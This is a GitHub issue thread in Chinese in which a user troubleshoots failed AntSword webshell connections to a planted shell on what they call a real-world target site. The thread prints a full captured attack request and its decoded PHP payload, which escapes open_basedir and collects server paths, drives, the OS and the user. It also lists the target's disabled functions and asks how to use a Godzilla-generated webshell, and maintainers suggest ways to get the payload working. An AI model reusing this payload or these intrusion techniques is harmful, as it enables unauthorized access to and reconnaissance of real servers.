Medicean
commented
2 years ago 可以挂上 Burpsuite 代理去看一下 500 的具体原因。根据你的描述来看，我推测可能是 disable_function 限制了某个函数导致的。
Closed Weltolk closed 2 years ago
Medicean
commented
2 years ago 可以挂上 Burpsuite 代理去看一下 500 的具体原因。根据你的描述来看，我推测可能是 disable_function 限制了某个函数导致的。
Weltolk
commented
2 years ago 可以挂上 Burpsuite 代理去看一下 500 的具体原因。根据你的描述来看，我推测可能是
disable_function限制了某个函数导致的。
burp suite里返回包只有一个500,没有具体的报错信息...
POST /config/admin.php HTTP/1.1 Host: xxxx.cn:443 Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN) Content-Type: application/x-www-form-urlencoded Content-Length: 818 Connection: close
a=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(%22%2F%3B%7C%3A%2F%22%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.10925d914c%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%220286%22.%2292b81%22%3Becho%20%40asenc(%24output)%3Becho%20%2256232%22.%2281f12%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B
url解码之后:
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split("/;|:/", $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue;
};
$tmdir = $item . "/.10925d914c";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
};
@ini_set("open_basedir", " /");
@rmdir($tmdir);
break;
};
};;
function asenc($out)
{
return $out;
};
function asoutput()
{
$output = ob_get_contents();
ob_end_clean();
echo "0286" . "92b81";
echo @asenc($output);
echo "56232" . "81f12";
}
ob_start();
try {
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
$R = "{$D} ";
if (substr($D, 0, 1) != "/") {
foreach (range("C", "Z") as $L) if (is_dir("{$L}:")) $R .= "{$L}:";
} else {
$R .= "/";
}
$R .= " ";
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();
$R .= php_uname();
$R .= " {$s}";
echo $R;;
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
};
asoutput();
die();这个是phpinfo();里的disable_functions:
disable_functions
passthru,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,
ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,exec |
passthru,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,
ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,exec我尝试修改蚁剑连接时发送的包,但是发现删除包内的同一条语句,有时会返回200,有时又是500
Medicean
commented
2 years ago @Weltolk 改一下 payload 把 display_errors 打开看看具体报错，或者贴一下详细的 phpinfo 信息呢
Weltolk
commented
2 years ago @Weltolk 改一下 payload 把 display_errors 打开看看具体报错，或者贴一下详细的 phpinfo 信息呢
目标站点删站跑路了= =
DVKunion
commented
2 years ago @Weltolk 试一下不要使用default编码，可能会解决问题
报告 Bug
Bug 详细描述
shell.php:
本地可以正常连接:
目标机器上的shell(和本地的shell一样):
通过浏览器对目标机器上的shell post可以正常连接:
蚁剑连接会提示ssl证书过期,这时勾选"忽略https证书"再连接,会提示连接失败,http 500:
新功能建议
新功能描述
询问
shell 连接 Bug
服务端操作系统
服务端shell代码
无法跨目录读取php.ini,而且是实战环境,所以提供部分phpinfo():
另外问下AntSword怎么添加Godzilla生成的马 Godzilla生成的马有一个key变量,AntSword添加的时候不知道加在哪里 如果可以添加的话就不用上面的那个bug里说的webshell了
Godzilla生成的马:
AntSword添加webshell: